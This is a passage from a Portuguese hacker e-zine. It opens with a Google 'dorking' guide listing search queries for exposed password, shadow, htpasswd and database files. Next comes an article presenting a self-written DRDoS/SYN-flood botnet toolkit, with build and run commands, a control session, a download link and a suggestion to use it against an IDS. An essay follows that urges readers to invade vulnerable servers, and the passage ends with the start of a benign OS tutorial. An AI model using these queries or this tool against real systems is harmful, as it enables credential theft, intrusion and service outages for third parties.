Exemplos interessantes de procura :
- "access denied for user" "using password"
- sitebuildercontent
- ORA-00921: unexpected end of SQL command
- ORA-00936: missing expression
- mysql error with query
- intitle:"Under construction" "does not currently have"
- intitle:"Execution of this script not permitted"
- intitle:"Error Occurred" "The error occurred in" filetype:cfm
- internal server error
- "Warning: Cannot modify header information - headers already sent"
– Supplied argument is not a valid MySQL?Create|Search result resource"
Com paciência e tolerância muitas coisas podems er obtidas.
Quinta Operação – URLS
Nesta operação veremos uma cláusula muito interessante a “inurl:” que permite restringir a procura
de strings dentro de uma url. Vamos ver a sintaxe :
inurl: passwd
Existe ainda uma variação, a “allinurl:”, que podemos utilizar para outros fins, por exemplo
combinando com outros parâmetros :
allinurl:users filetype:mdb
allinurl:oreilly filetype:pdf
allinurl:oreilly filetype:chm site:.ru
allinurl:VISA filetype:xls
Temos que observar bem as possibilidades de combinação que ns permitirão utilizar muitas
procuras interessantes.
20
Sexta Operação – No texto
Nesta operação veremos uma cláusula muito interessante a “intext:” que permite restringir a procura
de strings dentro de um texto de uma página. Vamos ver a sintaxe :
intext:exploits filetype:c
Outros Operadores Magickos
related:
Lista páginas com conteúdo similar. Exemplo :
related:www.linux.trix.net
cache:
Lista a versão da página no cache do Google.Importante para saber a idade da página afim de
verificar se uma informação ainda procede ou existe. Se você acrescentar uma palavra na procura,
ela surgirá sublinhada Exemplo :
related:www.plebe.com.br/freeminds
related:www.linux.trix.net liber000
phonebook:
Lista endereços e telefones, contudo isto só funciona nos EUA. Exemplo :
phonebook:bart
phonebook:homer+springfield
Na segunda opção lista todos os Homer que moram em Springfield
inanchor:
Lista occrrências em âncoras de texto em páginas. Exemplo
inanchor:exploits
21
Seção 003h
Fórmulas Magickas
Apresentaremos agora um pequeno grimorio de fórmulas mágickas, das quais podem ser utilizadas
no Google. Muitas foram de autoria de outros irmãos e também de minha parte. Vamos a elas :
inurl:/allinrul:
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
intitle:/allintitle:
intitle:"Index
intitle:"Index
intitle:"index
intitle:"index
intitle:"index
intitle:"index
intitle:"index
intitle:"index
22
of"
of"
of"
of"
of"
of"
of"
of"
.sh_history
.bash_history
passwd
people.lst
pwd.db
etc/shadow
spwd
master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index
of"
user_carts
OR
user_cart_vti_pvt
intitle:index.of
intitle:"index of" senhas.mdb
intitle:"index of" usuarios.mdb
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov
23
password
Seção 004h
Hackeando as URLS do Google
Podemos criar procuras padronizadas as nossas necessidades. Vamos ver alguns exemplos de
pesquisa.
http://www.google.com/search?q=%22exploits+zero+day%22
O caracter %22 significa a “, que substitui automaticamente da pesquisa. Onde q= representa a
query propriamente dita.
http://www.google.com/search?num=10&&q=%22exploits+zero+day%22
A opção num, indica o número de urls a serem listadas no resultado da query. O valor num=10, lista
10 urls por página.
http://www.google.com/search?hl=pt&q=%22exploits%22
http://www.google.com/search?wordt hl=pt&q=exploits
Permite escolher com a opção hl, a interface padrão de procura do Google em diversos idiomas, não
é o tradutor.
http://www.google.com/search?safe=off&q=%22sexo%22
http://www.google.com/search?safe=on&q=%22sexo%22
Habilita e desabilita o safe mode, com a opção on e off. Com a opção off, conteúdo pornográfico
24
será listado, caso contrário não.
http://www.google.com/search?as_qdr=m1&q=%22exploits%22
Especifica a idade máxima de um resultado, onde m1 significa no máximo com 1 mês de idade. O
valor pode variar de 1 a 12.
Criando Formulários Personalizados para suas Pesquisas
É possível que o estudante possa criar formulários personalizados para suas pesquisas utilizando o
Google. Vamos mostrar abaixo alguns exemplos interessantes de código.
<!--Egregora I-->
<!--Frater Albertus Rabelais-->
<html>
<title>Egregora I</title>
<body bgcolor=”white”>
<p>
<center>
<img src=”http://www.google.com/images/logo_sm.gif”>
<h1>Procura Personalizada no Google</center></h1>
<hr>
<form method=”get” action=”http://www.google.com/search”>
Pesquisa:
<input type=”text” name=”q” size=40 maxlength=255 value=””>
<input type=”submit” name=”sa” value=”Pesquisar”>
</form>
<hr>
</body>
</html>
Vamos agora a outro exemplo mais interessante :
<!--Egregora II-->
<!--Frater Albertus Rabelais-->
<html>
<title>Egregora II</title>
<body bgcolor=”white”>
<p>
<center>
<img src=”http://www.google.com/images/logo_sm.gif”>
<h1>Procura Personalizada no Google por Arquivo de Senhas</center></h1>
<hr>
<form method=”get” action=”http://www.google.com/search”>
Pesquisa:
<input type=”text” name=”q” size=40 maxlength=255 value=””>
<br>
Tipo de Arquivo:
<input type=”text” name=”as_filetype” size=40 maxlength=255 value=””>
<br>
Dominio ou site (gov,edu,com,etc.):
<input type=”text” name=”as_sitesearch” size=40 maxlength=255 value=””>
<br>
<input type=”submit” name=”sa” value=”Pesquisar”>
</form>
<hr>
</body>
</html>
25
Estes pequenos e modestos exemplos podem ser utilizados em suas páginas ou mesmo em suas máquinas locais para
facilitar a sua procura de informações. Lembramos que o limite para o estudante está apenas na sua imaginação e na sua
dedicação aos estudos.
É possível ainda programar utilitários para o Google, recomendo a visita a página de APIS do Google em
http://www.google.com/apis/
Links Úteis :
http://google-hacks.pagina.nl/ - Recomendado
http://directory.google.com/Top/Computers/Hacking/
http://www.google.com/apis/
http://www.robotstxt.org/ - Evitando sua presença no Google
26
Discurso Final
Frateres e Sorores,
Chegamos ao final deste nosso Liber e esperamos ter mostrado uma nova faceta de conhecimento
para vocês. Todo o material aqui mostrado é de propósito meramente educativo e em nenhum
momento a nossa intenção é prejudicar pessoa, instituição ou qualquer tipo de entidade.
A responsabilidade da utilização do mesmo está nas mãos do estudante, por isso tenha cuidado com
o ego e aproveite esta pequena contribuição de minha parte para que possamos juntos alcançar a
iluminação.
Recomendo que o estudo seja feito de maneira mais dedicada possível, pois sempre lançaremos
novos libri. A nossa missão está sendo fortalecida cada dia que pass pelo aparecimento d enovos
irmãos que estavam espalhados pela web e estão se concentrando em nossa “Abadia”.
Temos tantas coisas a mostrar, ensinar e trocar com os Frateres e Sorores que desejam caminhar
conosco no hacking. Lembramos a todos que estamos aqui divulgando a essência do hacking, não
alimentando egos, que desejam apenas mostrar-se frente a outros. O crime também é por nós
reprovado, todo aquele que utiliza o que está aqui para roubar informações, bens materiais e o
próximo que seja 1000 vezes amaldiçoado ! Apopantos Cacodaimonos !
Que seu trabalho seja dirigido e abençoado por todos os mestres que regem o nosso caminho,
trazendo a luz, a sabedoria e a tolerância ao nosso dia a dia. Desejo a todos meus votos de paz
profunda.
27
MESSIAS
Distributed Reflection Denial of Service Toolkit
A verdade do Universo é tudo aquilo que é transitório, não existe justiça perfeita e nem
maldade perfeita. Devemos ter a capacidade de enxergar a essência de qualquer coisa, pois
este é o hacking, nossa filosofia.
Leandro A. Thomas, vulgo FoxTrot
Imagine um atacante buscando comprometer determinado alvo. Primeiramente, como ocorre
na grande maioria das situações, ele instintivamente realiza um fingerprinting na máquinaalvo com a tradicional ferramenta NMAP, buscando conhecer pontos vulneráveis no sistema
através dos banners de resposta. Após isto, o mesmo atacante tenta executar scripts que
exploram versões dos diversos serviços executados em seu alvo, porém sem sucesso algum.
Um simples defacer (ou script-kiddie, como queiram) certamente iria desistir e partir para
outra, porém alguém determinado, seja um hacker ou cracker, tentaria algo mais: derrubar o
servidor.
Você já se perguntou como ocorre este tipo de ataque? Antes de falar sobre a ferramenta
MESSIAS é interessante recordar alguns pontos importantes para o entendimento de como ela
funciona.
CONHECENDO O ATAQUE
O tradicional ataque de negação de serviço (DoS – Denial of Service) consiste em derrubar
determinado serviço, fazendo com que o sistema tenha um comportamento anômalo, variando
desde travamento de simples aplicação até do sistema operacional como um todo, resultando
em reset para voltar responder. Isso ocorre em muitas aplicações, remotas ou locais, porém há
um alvo preferencial aos atacantes, que são os servidores web.
No ano de 2000, um conceito mais aprofundado desta técnica foi difundido pela comunidade
de segurança, onde grandes sites como Yahoo!, CNN, e outros, foram derrubados através da
utilização de uma arquitetura distribuída em árvore, denominada Distributed Denial of Service
(DDoS). Este ataque corresponde na utilização de um conjunto de máquinas previamente
comprometidas que servem como zumbis, obedecendo as instruções de seu nó superior, e que
enviam uma série de pacotes contra seu alvo tornando-o inacessível para seus clientes.
Mesmo sendo uma arma poderosa nas mãos de crackers e black-hats, houve um implemento
que a tornou mais perigosa que o método original, a elaboração de mais uma técnica que
deriva do tradicional DDoS: o Distributed Reflection Denial of Service, ou DRDoS.
Esta técnica segue um conceito interessante, trabalhando diretamente com o TCP/IP,
spoofando o campo Source IP do cabeçalho IP a fim de “bagunçar” o processo de handskahe
de comunicação. Apenas para aos que não sabem, em uma comunicação que utiliza o protocolo
TCP, há um processo de estabelecimento de conexão ponto-a-ponto entre as máquinas
envolvidas. Uma breve exemplificação pode ser ilustrada abaixo:
28
Fig. 1 – Estabelecimento de comunicação no processo de handshake
Basicamente uma conexão é estabelecida em três etapas: a máquina solicitante envia
um pacote com a flag de sincronização setada (SYN) ao host destino, ele por sua vez responde
que o serviço requerido está ativo com as flags SYN e ACK, ou de forma negativa, realizando
um reset de conexão com RST. Caso a resposta seja afirmativa, a máquina solicitante
estabelece a comunicação através da flag ACK, finalizando a etapa de handshake. Este é o
básico, visto que existem outras flags como FIN, URG, e outras, influenciando e tendo
significados diferentes no protocolo. Para saber mais a respeito, recomendo ler o RFC 793,
que especifica o TCP.
Mas como este “aperto-de-mão” pode ser explorado em um ataque DRDoS? A idéia de
spoofar um endereço IP inválido pode ser interessante. Imagine se um endereço inválido,
criado por nós, envie um pacote SYN à máquina alvo, como ela responderá? Para quem?
Fig. 2 – Diagrama de uma “anomalia” no handshake
A idéia do ataque DRDoS consiste basicamente no envio de um pacote com um IP
forjado, inexistente, fazendo com que o alvo gaste tempo e processamento do datagrama, não
conseguindo responder a segunda etapa de comunicação, o acknowledgment, caindo em um
DoS.
Com certeza existem documentos mais específicos que abordam esse assunto com mais
ênfase nas técnicas, dando exemplos, porém este não é o objetivo do artigo. Caso queira se
aprofundar em técnicas de negação de serviço, recomendo pesquisas na Securityfocus, Phrack
Magazine e PacketStorm Security, que são grandes referências para o hacking e segurança em
geral; além do nosso amigo Google, é claro.
MESSIAS – A FERRAMENTA
Agora sabendo um pouco sobre algumas técnicas de ataque de negação, apresento a
vocês a ferramenta MESSIAS. Ela foi originalmente desenvolvida para fins didáticos,
obviamente, sem caráter malicioso, porém, apesar disso, haverá aqueles que seguem o lado
negro da força, usando não apenas ela mas também outras para fins nada éticos. Deixo claro
que todos os testes foram feitos em localhost e ambiente controlado, em uma LAN restrita sem
risco a sistemas de terceiros.
MESSIAS trabalha com a idéia de ataque distribuído usando IP spoofing, como vimos
29
anteriormente, a técnica DRDoS. Foi feita sob o sistema operacional Linux (Slackware, no
caso), em linguagem C com o uso de programação IPC, ou InterProcess Comunication.
A programação IPC estabelece um poder a mais quando descrevemos esta ferramenta,
pois os daemons interagem entre si via socket, ocorrendo estabelecimento de um canal de
comunicação em sistemas distribuídos e hosts diferentes.
O ambiente controlado pelo atacante, com o uso da ferramenta, nos proporciona uma
arquitetura em níveis, chamados masters e agents, cuja definição está no próprio conceito de
DDoS. O atacante basicamente deverá obter acesso a um certo número de máquinas, que
serão nossos zumbis, para então poder deter o controle das mesmas para realização de um
ataque.
O ataque correspondente é um básico SYN Flood, com os bits SYN e URG (flag de
urgência) setados, gerados pelo agente e sobrecarregando o alvo com inúmeras requisições
que exigem respostas. Isso é possível através do uso de sockets de baixo nível, denominado
raw sockets, que permitem a manipulação e criação de pacotes a serem enviados, assim
podendo especificar todo seu cabeçalho. Sendo isso possível, spoofamos o endereço IP de
origem através de funções randômicas, mascarando o endereço real de onde a transmissão se
inicia.
INSTALAÇÃO & USO
Aos adeptos do sistema open source Linux, não haverá problemas de uso. Qualquer
pessoa que tenha o mínimo de conhecimento sobre o sistema operacional poderá operar o
MESSIAS. O arquivo Makefile possui as regras de compilação, básicas, apenas um comando
make irá compilar os módulos criando object files e seus binários.
Existem três arquivos gerados que são importantes para nós: o messias, binário
responsável apenas em scannear determinada lista de IP previamente configurada buscando
os daemons ativos (agentes e mestres); messias-master, o responsável na criação de um
processo mestre no primeiro nível de nossa árvore, cuja finalidade é comandar seus nós
escravos (agentes); e messias-agent, por fim a última ramificação na cadeia de hosts zumbis,
que efetuarão o ataque pelas ordens recebidas dos masters.
Depois de ter compilado o código-fonte e gerado corretamente os três binários, você
poderá configurar uma lista de IPs e portas nos arquivos master.list e agent.list, que são
padronizados em conter o endereço dos zumbis mestres e agentes, respectivamente. A sintaxe
de configuração ocorre da seguinte forma:
[ip-do-host]:[porta]
Ambas as listas poderão ajudar no controle das máquinas que estão sob poder do
atacante, scaneando as portas definidas para estabelecer se estão respondendo ou não uma
conexão. Verifique os parâmetros utilizados apenas digitando “./messias”, algo bem trivial.
Porém, antes de scanear algo, você deve ter um daemon rodando em alguma máquina,
isso pode ser feito em seu ambiente de testes, executando em uma shell o master:
$ ./messias-master &
E em outro host, o agente, com um diferencial: você deverá ter acesso root, pois a
criação de raw socket é permitida apenas com usuário de privilégios altos.
# ./messias-agent &
Caso tenha percebido, colocamos o caractere ‘&’ no final do comando para que o
processo rode em background, liberando a shell para uso. Os processos criados não ficam
ocultos de um simples comando “ps”, sendo de fácil detecção, apenas há uma camuflagem do
argv[0] (primeiro argumento sendo nome do binário); e também não são inseridos em algum
script de boot, não sendo startados em um reboot do sistema. São processos simples, sem
tratamento especial.
Com a execução de ambos os processos, as portas abertas são tcp/5011 e tcp/1105 para
30
o master e o agent, respectivamente, sendo padrão. Caso queira definir de acordo com sua
vontade, especifique no argv[1], como no exemplo abaixo (valendo para os dois):
$ ./messias-master 4778 &
Uma vez posto os processos em execução, em sua máquina conecte-se ao mestre por
Telnet na porta especificada (ou default). Quando for sucedida a conexão, o socket bloqueante
estará ativo, ou seja, haverá uma espera para sua entrada de dados, que será uma senha
configurada no arquivo messias.h para permitir seu acesso a shell:
$ telnet localhost 5011
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
master <-------------- nossa senha
Welcome to MESSIAS toolkit.
Dev by FoxTrot
messias>
Uma vez dentro do ambiente, você poderá configurar sua rede “escrava” para realizar o
bombardeio de pacotes. Defina os agentes, alvo da seguinte forma:
messias> agents
Push IP address to create your agent list.
Type '.' to end.
1? 127.0.0.1
Port: 1105
Alias: localhost
Pass: none
2? .
messias> target
? 127.0.0.1
messias> port
? 80
messias> start
Number of packages per agent: 1
messias>
Neste exemplo, estamos com o agente na própria máquina, colocando o endereço de
loopback como agente configurado na porta 1105 (padrão). Os campos alias e pass não estão
ativos, são presentes apenas para uso futuro, numa próxima implementação da ferramenta.
Depois definindo o alvo e porta a ser atacada, pode-se iniciar o processo com o comando
“start”, que irá esperar pelo número de pacotes a ser enviados por cada agente.
Após um tempo, caso queira conferir o resultado, digite “status”:
messias> status
View status panel
Victim IP: 127.0.0.1
Port: 80
Service is: Down
End of STATUS info.
messias>
No caso, apenas mostrando sucesso, o serviço HTTP presente na máquina foi
derrubado, recusando futuras requisições remotas. Em uma rede interna, confira o resultado
feito pelo tcpdump após a máquina (192.168.10.2) receber um dos pacotes (da 192.168.10.5,
onde se encontra o agente) do MESSIAS na porta 21 (note o bit URG setado, IP e porta gerada
31
por processo randômico):
14:39:40.464609 IP 155.131.225.217.53552 > xxxxxxxxxxxx.ftp: S 1:1(0) win 541 urg 256
0x0000: 4500 0028 0cdc 0000 ff06 66ec 9b83 e1d9 E..(......f.....
0x0010: c0a8 0a02 d130 0015 0000 0001 0000 0000 .....0..........
0x0020: 5522 021d 0000 0100 0000 0000 0000
U"............
Só para constar, a cada pacote gerado, o campo de payload é alterado aleatoriamente,
para evitar determinada filtragem.
CONSIDERAÇÕES FINAIS
"O saber bastante para o abuso ou a divulgação é merecer todos os suplícios; o saber como se
deve saber para deles servir-se e ocultá-lo é ser senhor do absoluto”
Eliphas Lévi
MESSIAS é uma ferramenta muito simples, programação básica, sem complexidade
alguma. É bem verdade que ela pode ser melhorada, quem sabe a implementação de
criptografia na interação entre os processos (para fugir de IDS), senhas para controle dos
agentes (como ocorre nos mestres), ou alguma estrutura baseada em aliases para mapeamento
da rede. Mas isso fica para o futuro.
Gostaria de ressaltar que esta ferramenta foi originalmente desenvolvida apenas para fins
educacionais, não é inteligente sair por aí derrubando sites, por exemplo. Cada cabeça uma
sentença. Imagine algo mais criativo para o uso dessa ferramenta: análise de pacotes; testes
de firewalls; ou você está dentro de uma rede “protegida” por um IDS, Honeypot, ou qualquer
outro sistema promiscuo, e queira passar por ele sem alertá-lo, um DoS na máquina deste
serviço cairia bem neste caso. Use a imaginação!
Por fim, gostaria de agradecer a todos os organizadores desta e-zine pela oportunidade
dada a mim em expôr uma ferramenta de minha autoria. Existem muitas pessoas que fazem
algo interessante e só precisam de um empurrão para apresentar seu trabalho à comunidade.
Download: http://www.dcc.fesurv.br/~leandro/messias
Obrigado pessoal, e até a próxima! :)
32
H A C K I N G 93 !
Por Frater Arjuna – [email protected]
Caros Amigos,
93 !
A algum tempo estive envolvido em uma discussão sobre a postura dos thelemitas, como estou
sempre no "mundo digital" me perguntei como deve ser a postura do hacker 93. Esse foi o
motivo que me levou a escrever esse artigo que expressa uma opinião minha, se for de sua
vontade concorde e faça como eu ou não. Peço apenas que ao ler as linhas que se seguem seja
verdadeiro com vc mesmo , seja egoista e não egocentrista e se tiver alguma dúvida não pense
duas vezes e me mande um email.
Deixe-me primeiramente pesquisar o cenário virtual. Na internet de hoje com os canais de IRC
assim como nas antigas BBS tudo pode ter mudado, exceto em um ponto: Voce é o que vc
sabe, sem conhecimento vc não é nada. Imagina um espaço onde vc pode mostrar suas
opiniões, realizar seus desejos, enfrentar seus medos, se conhecer melhor efim uma série de
coisas; assim é a Internet hoje. É o cenário perfeito para a manifestação da Lei de Thelema.
Para saber o que é Lei de Thelema, esta é a na minha opinião, melhor fonte:
http://www.astrumargentum.org.br/
"A Lei do forte: esta é a nossa lei e a alegria do mundo." Liber AL vel Legis cap.II v.21
O "forte" é o que tem mais conhecimento, é o mais persistente, o mais criativo, o mais
inteligente assim por diante que fique entendido que essa força nada tem a ver com força
física. Levando em consideraçào que o amior músculo do corpor é o cérebro e que seu
alimento é o conhecimento, sua maior força é o que vc sabe.
Enquanto nos atiramos no abismo do conhecimento só conseguiremos entendimento e
sabedoria se formos obejtivos. De que adianta sabe todas as linguagens de programação do
mundo se não há um programa para serem escritos com elas? Portanto tenham em mente seu
objetivo, que é somente seu e de mais ninguém. Eu por exemplo estudo informática pq me traz
satisfação o conhecimento e o que posso fazer com ele, uns estudam por status, outros por
dinheiro, invadir sistemas, desprezar os que sabem menos...
"Regozija, portanto, Ó iniciado, pois quanto maior for tua prova, maior teu triunfo. Quando os
homens te ultrajarem, e falarem contra ti falsamente, não tem dito o Mestre, “Sagrados sois
vós”?
Ainda assim, Ó aspirante, deixa que tuas vitórias tragam a ti não a Vaidade, pois com o
aumento do conhecimento acompanharia o aumento da Sabedoria. Ele que sabe pouco, pensa
que sabe muito; mas o que sabe muito descobrira sua própria ignorância. Tu vês um homem
sábio em sua própria presunção? Não há mais probabilidade de existir um tolo, do que ele."
33
Liber Librae v.4-5
Tendo usado seu conhecimeno corretamente e conseguido o sucesso como prova, seja com o
desenvolvimento de um sistema ou como uma difícil invasão, comemore a aproveite. Cuidando
sempre para que isso não traga a vaidade que é o principal alimento do seu Ego, esse monstro
interno que faz qualquer hacker ter atitude de um lammer babaca. Muitos já cairam pelo Ego
alimentado pela vaidade, orgulho, arrogância e prepotência o maior exemplo chama-se Kevin
Mitinick.
"Não sejas apressado em condenar outros; como conheces aquilo no lugar deles, tu poderias
ter resistido a tentação? E mesmo se fosse assim, Porque deverias tu menosprezar aquele que
é mais fraco do que tu mesmo?" Liber Librae v.6
Um hacker thelemita portanto não despreza os que sabem menos porque, não é preciso atingir
o Grau 2 da Ordem DeMolay para compreender que o benefício da dúvida é uma nescessidade.
Voce mesmo poderia ter feito pior do que julga que outros tem feito. Ninguém nasce
sabendo...
"Entretanto há os meus servos disfarçados: pode ser que aquele mendigo adiante seja um Rei.
Um Rei pode escolher sua vestimenta como ele quiser: não há teste seguro: mas um mendigo
não pode esconder sua pobreza.
Cuidado portanto! Ama a todos, pois pode ser que haja um Rei escondido! Dizes assim? Tolo!
Se ele for um Rei, tu não podes machucá-lo." Liber AL vel Legis cap.II v.58-59
Em outras palavras: trate todos iguais pois nunca se sabe quem está do outro lado, pode ser
que seja um rei ou um mendigo, um hacker ou um lammer.
"O Temor é o fracasso, e o precursor do fracasso; e a coragem é o início da virtude." Liber
Librae v.7
"Desprezai também todos os covardes; soldados profissionais que não ousam lutar, mas
brincam; tolos os tolos, desprezai!" Liber AL vel Legis Cap. III v.57
Se o servidor estiver vulnerável invade, se a aplicaçào estiver com problema explore, se a
culpa é do administrador exponha-o. Temos hoje, mais do que nunca, que expulsar essas ervas
daninhas. Esse "profissionais" que brincam de programar, esses que são culpados pelos
maiores problemas que temos que resolver. Não tenha piedade, mas lembre-se de seu
objetivo, ataque sempre o culpado.
"Não veleis vossos vícios em palavras virtuosas." Liber AL vel Legis cap.II v.52
Não use nada, principalmente a Lei de Thelema, para justificar seus vícios. Lembre sempre
que "Faze o que tu queres" NÃO quer dizer "Faze o que quiseres". O limite da Lei é o bom
senso, sei que é mio complicado falar disso com alguém que 16 anos mas o tempo o melhor
remédio nestes casos.
Tentei expôr no artigo que a Lei de Thelema existe para ser vivida em todos as vertentes, e
que enquanto sua máxima é "Faze o que tu queres, há de ser tudo da Lei", a maior da
liberdade também implica em uma responsabilidade enorme. A chave para o par a feclicidade
é o equilíbrio que gera igualdade e unidade com seu obejtivo.
"Lembra que a força desequilibrada é perniciosa; que a severidade desequilibrada é apenas
cueldade e opressão; mas que também a misericórdia desequilibrada é apenas fraqueza que
consentiria e incitaria o Mal. Obra com paixão; pensa com razão; sê Tu mesmo." Liber Librae
v.12
"Portanto, como já tem sido dito, Estabeleçe-te firmemente no equilíbrio das forças, no centro
da Cruz dos Elementos, a Cruz de cujo centro o Mundo Criativo brotou no nascimento da
34
aurora do Universo.
Sê tu, portanto, pronto e ativo como os Silfos, mas evita frivolidade e capricho; sê enérgico e
forte como as Salamandras, mas evita irritabilidade e ferocidade; sê flexivo e atento às
imagens como as Ondinas, mas evita ociosidade e inconstância; sê laborioso e paciente como
os Gnomos, mas evita grosseria e avarice." Liber Librae v.18-19
93, 93/93
Frater Arjuna
35
INTRODUÇÃO AOS SISTEMAS
OPERACIONAIS
Por Vo ([email protected])
Prefácio
Este artigo é direcionado a pessoas que desejem obter conhecimentos básicos sobre sistemas
operacionais.
Tal conhecimento não serve somente àquele com desejo de criar seu próprio OS, mas também
a programadores de utilitários em geral, que podem descobrir e avaliar o funcionamento do
sistema operacional que utilizam atualmente para melhorar o funcionamento de seus
programas.
Se você estiver procurando teoria pura de sistemas operacionais, leia um livro. Este artigo é
direcionado à situação real e comum da interação e construção de sistemas operacionais com
base na arquitetura x86 (porém apresenta alguma teoria básica).
Para a leitura deste artigo, é de grande importância um conhecimento básico sobre C/C++ e
assembly, sendo este último não totalmente necessário, pois os exemplos em assembly contêm
sempre descrições de seu funcionamento. Além disso, é bom que você também possuam
alguma base nos sistemas numéricos hexadecimal e binário.
Devo, sobretudo, avisá-lo que não serei responsável por quaisquer danos que possam ocorrer
pela utilização dos exemplos e algoritmos presentes neste artigo. Antes de utilizar os exemplos
em discos que possua, verifique a seção sobre emuladores.
Boa leitura!
-- // -O que é um sistema operacional (os)?
Ao meu ver, um sistema operacional é uma camada de software responsável pelo
gerenciamento de manutenção coerentes de recursos limitados presentes num computador.
Caso não tenha entendido ou gostado da definição, dê uma olhada na wikipedia ou em algum
sistema de busca e você poderá encontrar centenas, senão milhares de definições diferentes.
Para um usuário comum, um sistema operacional é, nalgumas vezes, praticamente invisível, e,
em outras está gritantemente presente durante a utilização do computador. Um exemplo do
primeiro caso, seria o sistema operacional Linux, bastante difundido atualmente e que é
praticamente um *kernel rodeado de programas de usuário; quanto ao segundo caso, podemos
citar um sistema operacional com interface gráfica e gerenciamento da mesma e de sua
interação presente no *kernel que todos nós conhecemos >:P
36
A preocupação de um sistema operacional reside na manutenção do sistema computacional e
de sua utilização, de modo que os dados nele presente contenham um mínimo de organização
e coerência para que possam ser acessados e mantidos seguramente.
O sistema operacional é responsável por manter os dados do usuário e manipulá-los de
maneira coerente, e ainda por integrar o hardware ao software de usuário. Essa integração
depende do sistema; há sistemas que mantêm a distância entre o software e o hardware da
maneira mais invisível possível, enquanto outros podem deliberadamente permitir o acesso ao
hardware, e ainda de maneira direta.
Talvez você esteja se perguntando porque é necessário colocar essa camada entre o software
de usuário. Imagine a seguinte situação: o programa A tenta escrever no disco (em um
arquivo), enquanto o programa B tenta fazer o mesmo; sem um sistema operacional, vários
problemas podem ocorrer, como a corrupção dos dados armazenados pelo programa A, por
parte do programa B.
Além disso, veremos mais adiante que você não poderia estar escutando música no seu player
preferido e lendo este artigo ao mesmo tempo sem um sistema operacional.
Não vou citar a história dos sistemas operacionais por ser um tanto extensa e monótona (se
você quiser saber mais sobre a história dos sistemas operacionais, faça uma busca ou leia um
livro).
Os sistemas operacionais são geralmente construídos utilizando linguagens de programação
bastante comuns, como C e assembly (e por essa razão, muitas vezes acabam herdando falhas
de funções e bibliotecas escritas nestas linguagens, tornando-se assim um alvo para o
hacking). A diferença na análise da construção de um sistema operacional em relação a um
programa de usuário está na interação: enquanto o sistema operacional tem de interagir com o
hardware, o programa de usuário tem a necessidade de interagir com o próprio sistema
operacional.
A linguagem C pode ser utilizada por oferecer um excelente suporte para a manipulação de
dados, porém a utilização de somente C pode tornar a programação inicial um tanto difícil
(senão impossível), sendo, portanto, necessária à utilização de uma linguagem mais aplicada
ao hardware; a escolha mais comum neste caso, é assembly, porém, diferentemente de C,
assembly não é portável em muitos casos, sendo, então, necessário à reformulação de pedaços
de código escritos em assembly quando se deseja portar o sistema operacional para outras
plataformas. Se você deseja escrever um sistema operacional portável, mantenha o seu código
assembly o mais portável, compreensível e pequeno possível.
Ocorre em alguns casos a utilização de C++, devido à sua orientação a objetos (convenhamos
que trabalhar com classes é bem legal ^^).
Tanto na utilização de somente C, quanto na combinação de C e C++, deve-se notar o fato de
que você não terá a biblioteca padrão disponível, e, no caso de C++, você não poderá utilizar
algumas operações como try, typeid, throw, new, delete e qualquer outra operação que
necessite de suporte em tempo de execução (runtime), a não ser que você escreva seu próprio
código para lidar com tais operações. Em relação à biblioteca padrão,a razão dela não poder
ser utilizada se deve ao fato de que a biblioteca padrão não é igual em todos os sistemas
operacionais e, na maioria dos casos, também não está habilitada a trabalhar diretamente com
o hardware. Você pode estar pensando: "Perai, mas se a biblioteca não é igual em todos os
sistemas operacionais, se eu escrever printf no sistema X, o que eu tenho que escrever no Y?".
A resposta é simples: "printf"!
A implementação da biblioteca é diferente e adaptada a cada sistema operacional, porém as
funções possuem os mesmos rótulos. Assim, um mesmo "printf" imprime na tela de uma
maneira num sistema operacional, enquanto em outro, esse "printf" também imprime na tela,
porém de uma maneira, muitas vezes, totalmente diferente.
Assim como há diferentes implementações da biblioteca padrão, caso esteja pensando em
escrever um sistema operacional, você pode escrever a sua. É claro que você terá de saber um
pouco sobre hardware quando for ler algum disco, ou mesmo imprimir algo, mas não é nada
tão absurdo que algum tempo de pesquisa não resolva, e, no fim deste artigo (se eu lembrar
37
=~~) eu colocarei algumas dicas em relação ao hardware comum em um x86 que podem ser
realmente úteis.
Você pode escrever sua própria biblioteca para seu os ou utilizar bibliotecas existentes, mas
que sejam voltadas para o desenvolvimento de os, no caso.
Voltando às linguagens, apesar da soberania do C, existem sistemas operacionais escritos em
outras linguagens. Como exemplo, temos o Sun Glasses, da Sun, ainda em desenvolvimento,
que é escrito em java e há também muitos exemplos em pascal.
É interessante, também, dizer que as bibliotecas de C são geralmente voltadas ao os para o
qual serão criados os executáveis, assim, não basta copiar uma lib de um os para outro, porquê
o que as libs fazem é traduzir o comando que o programa deseja executar em outro comando
que seja reconhecível para o os. Um exemplo é o caso daquele os do tio Bill, onde, se você
debugar a função open, verá que ela chama uma função chamada CreateFile, que é
reconhecida pelo kernel do mesmo.
Bem, vamos ao que interessa ^^
O BOOT
Esse é o princípio de tudo, o gênesis da computação!
Você dificilmente encontrará algo sobre boot em livros e artigos sobre teoria de sistemas
operacionais, porém, na prática, é aqui que tudo começa.
O boot, ou processo de boot, é na verdade uma bateria de testes realizados pela Bios (x86),
porém, utilizamos o termo comumente para nos referirmos a inicialização do os.
Para quem não sabe, a Bios é a melhor amiga do programador de os, pois ela fornece uma
interface de trabalho com o hardware. Porém, a bios apresenta uma limitação: elas geralmente
são escritas para modo real.
Para quem pretende construir ou trabalhar com um sistema operacional num ambiente de 32
ou 64 bits, ela pode não ser muito útil em alguns casos, porém, a bios guarda informações
valiosas, que podem servir de base quando estivermos noutros modos.
Após o boot, estamos em modo real. Para alguns isso já basta, mas para outros, é preciso
mais :P
Os sistemas operacionais convencionais que não trabalham em modo real geralmente
armazenam parâmetros importantes da Bios, carregam o kernel, pulam (jmp, goto :P) para ele
e entram em modo protegido, ou longo (não necessariamente nesta ordem).
Se você programa em assembly, talvez esteja questionando "Mas para onde vai EIP?", ou, se
você programa em C, provavelmente está pensando "Onde fica minha main()?".
A resposta é simples: no setor de boot!
Após o boot, a bios procura o disco de boot, que foi previamente configurado na mesma. Neste
